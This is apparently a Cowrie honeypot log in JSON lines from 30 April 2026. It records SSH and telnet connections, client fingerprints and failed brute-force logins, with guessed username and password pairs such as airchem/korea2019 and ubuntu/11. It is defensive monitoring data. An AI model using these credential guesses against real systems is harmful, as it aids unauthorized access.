{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:07.718322Z","src_ip":"159.203.92.129","session":"7d1a6be12f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:07.736041Z","src_ip":"159.203.92.129","session":"7d1a6be12f13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airchem","password":"korea2019","message":"login attempt [airchem/korea2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:07.813637Z","src_ip":"159.203.92.129","session":"7d1a6be12f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:08.819562Z","src_ip":"159.203.92.129","session":"7d1a6be12f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.71834444999695,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:09.131511Z","src_ip":"5.61.90.139","session":"1d8899848455","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60070,"dst_ip":"10.17.0.5","dst_port":23,"session":"be9325ca30d0","protocol":"telnet","message":"New connection: 5.61.90.139:60070 (10.17.0.5:23) [session: be9325ca30d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:10.582392Z"}
{"eventid":"cowrie.session.closed","duration":38.312461853027344,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:17.678955Z","src_ip":"5.61.90.139","session":"f5078a134dec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.129297733306885,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:21.914743Z","src_ip":"5.61.90.139","session":"03c7e7e287c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.56095767021179,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:22.072002Z","src_ip":"5.61.90.139","session":"d49ec8611194","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.00152921676636,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:22.502015Z","src_ip":"5.61.90.139","session":"7e27a2daef75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.56963896751404,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:23.805044Z","src_ip":"5.61.90.139","session":"78ec9d8928da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.729443073272705,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:25.199296Z","src_ip":"5.61.90.139","session":"657b01de8e45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.322168588638306,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:30.333466Z","src_ip":"5.61.90.139","session":"d91ee64f68f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.77264642715454,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:31.309679Z","src_ip":"5.61.90.139","session":"d35139a164f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60104,"dst_ip":"10.17.0.5","dst_port":23,"session":"aba8cbfd6dfe","protocol":"telnet","message":"New connection: 5.61.90.139:60104 (10.17.0.5:23) [session: aba8cbfd6dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:35.251758Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60106,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd890c0e9404","protocol":"telnet","message":"New connection: 5.61.90.139:60106 (10.17.0.5:23) [session: dd890c0e9404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:35.901995Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60108,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6035a17e910","protocol":"telnet","message":"New connection: 5.61.90.139:60108 (10.17.0.5:23) [session: c6035a17e910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:35.984620Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60110,"dst_ip":"10.17.0.5","dst_port":23,"session":"f90a075a38ee","protocol":"telnet","message":"New connection: 5.61.90.139:60110 (10.17.0.5:23) [session: f90a075a38ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:36.023002Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60112,"dst_ip":"10.17.0.5","dst_port":23,"session":"75318463eb8d","protocol":"telnet","message":"New connection: 5.61.90.139:60112 (10.17.0.5:23) [session: 75318463eb8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:36.067274Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60114,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f790afd9bd3","protocol":"telnet","message":"New connection: 5.61.90.139:60114 (10.17.0.5:23) [session: 1f790afd9bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:36.224201Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60116,"dst_ip":"10.17.0.5","dst_port":23,"session":"24a3429396e0","protocol":"telnet","message":"New connection: 5.61.90.139:60116 (10.17.0.5:23) [session: 24a3429396e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:36.566518Z"}
{"eventid":"cowrie.session.closed","duration":41.61190915107727,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:41.873065Z","src_ip":"5.61.90.139","session":"997835bd05fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.83126139640808,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:42.442421Z","src_ip":"5.61.90.139","session":"f48a5bb8ffcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.375770807266235,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:45.161289Z","src_ip":"5.61.90.139","session":"eeb406a36d52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.513359785079956,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:45.819164Z","src_ip":"5.61.90.139","session":"a8b56151c442","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60128,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a72633cf2b4","protocol":"telnet","message":"New connection: 5.61.90.139:60128 (10.17.0.5:23) [session: 9a72633cf2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:46.065299Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60134,"dst_ip":"10.17.0.5","dst_port":23,"session":"58b9608248ce","protocol":"telnet","message":"New connection: 5.61.90.139:60134 (10.17.0.5:23) [session: 58b9608248ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:49.397486Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60136,"dst_ip":"10.17.0.5","dst_port":23,"session":"a57ed5bef7c1","protocol":"telnet","message":"New connection: 5.61.90.139:60136 (10.17.0.5:23) [session: a57ed5bef7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:49.465053Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60138,"dst_ip":"10.17.0.5","dst_port":23,"session":"d62a9419431c","protocol":"telnet","message":"New connection: 5.61.90.139:60138 (10.17.0.5:23) [session: d62a9419431c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:49.845474Z"}
{"eventid":"cowrie.session.closed","duration":40.866602420806885,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:51.448879Z","src_ip":"5.61.90.139","session":"be9325ca30d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45130,"dst_ip":"159.203.135.109","dst_port":22,"session":"3089d9523feb","protocol":"ssh","message":"New connection: 159.203.92.129:45130 (159.203.135.109:22) [session: 3089d9523feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:52.626511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:52.630927Z","src_ip":"159.203.92.129","session":"3089d9523feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:52.635252Z","src_ip":"159.203.92.129","session":"3089d9523feb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airchem","password":"korea2020","message":"login attempt [airchem/korea2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:52.647382Z","src_ip":"159.203.92.129","session":"3089d9523feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:53.652863Z","src_ip":"159.203.92.129","session":"3089d9523feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60172,"dst_ip":"10.17.0.5","dst_port":23,"session":"0db0512775af","protocol":"telnet","message":"New connection: 5.61.90.139:60172 (10.17.0.5:23) [session: 0db0512775af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:14.988855Z"}
{"eventid":"cowrie.session.closed","duration":38.94709062576294,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:15.513498Z","src_ip":"5.61.90.139","session":"24a3429396e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.8703556060791,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:15.893262Z","src_ip":"5.61.90.139","session":"f90a075a38ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60174,"dst_ip":"10.17.0.5","dst_port":23,"session":"c582d8f46cee","protocol":"telnet","message":"New connection: 5.61.90.139:60174 (10.17.0.5:23) [session: c582d8f46cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:15.983671Z"}
{"eventid":"cowrie.session.closed","duration":40.690470933914185,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:16.757637Z","src_ip":"5.61.90.139","session":"75318463eb8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.549471616744995,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:16.801105Z","src_ip":"5.61.90.139","session":"aba8cbfd6dfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60180,"dst_ip":"10.17.0.5","dst_port":23,"session":"b77878c6ce99","protocol":"telnet","message":"New connection: 5.61.90.139:60180 (10.17.0.5:23) [session: b77878c6ce99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:17.157850Z"}
{"eventid":"cowrie.session.closed","duration":41.60654854774475,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:17.591065Z","src_ip":"5.61.90.139","session":"c6035a17e910","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.786707162857056,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:18.688576Z","src_ip":"5.61.90.139","session":"dd890c0e9404","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60188,"dst_ip":"10.17.0.5","dst_port":23,"session":"08f7359102ab","protocol":"telnet","message":"New connection: 5.61.90.139:60188 (10.17.0.5:23) [session: 08f7359102ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:18.750174Z"}
{"eventid":"cowrie.session.closed","duration":42.692018270492554,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:18.916100Z","src_ip":"5.61.90.139","session":"1f790afd9bd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":45246,"dst_ip":"159.203.135.109","dst_port":22,"session":"a66ce4e91f47","protocol":"ssh","message":"New connection: 80.253.31.232:45246 (159.203.135.109:22) [session: a66ce4e91f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:21.493506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:21.499122Z","src_ip":"80.253.31.232","session":"a66ce4e91f47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:21.621056Z","src_ip":"80.253.31.232","session":"a66ce4e91f47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es_user","password":"es_user","message":"login attempt [es_user/es_user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:22.131913Z","src_ip":"80.253.31.232","session":"a66ce4e91f47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":33274,"dst_ip":"159.203.135.109","dst_port":22,"session":"1aed57b74545","protocol":"ssh","message":"New connection: 68.183.236.1:33274 (159.203.135.109:22) [session: 1aed57b74545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:22.927477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:22.932699Z","src_ip":"68.183.236.1","session":"1aed57b74545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:23.179278Z","src_ip":"68.183.236.1","session":"1aed57b74545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:23.255337Z","src_ip":"80.253.31.232","session":"a66ce4e91f47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"11","message":"login attempt [ubuntu/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:24.193798Z","src_ip":"68.183.236.1","session":"1aed57b74545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:25.442891Z","src_ip":"68.183.236.1","session":"1aed57b74545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.602632999420166,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:28.000003Z","src_ip":"5.61.90.139","session":"58b9608248ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.252673864364624,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:28.317784Z","src_ip":"5.61.90.139","session":"9a72633cf2b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.76317024230957,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:29.608534Z","src_ip":"5.61.90.139","session":"d62a9419431c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.60842037200928,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:30.073365Z","src_ip":"5.61.90.139","session":"a57ed5bef7c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60208,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a5d4a24100a","protocol":"telnet","message":"New connection: 5.61.90.139:60208 (10.17.0.5:23) [session: 8a5d4a24100a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:35.817586Z"}
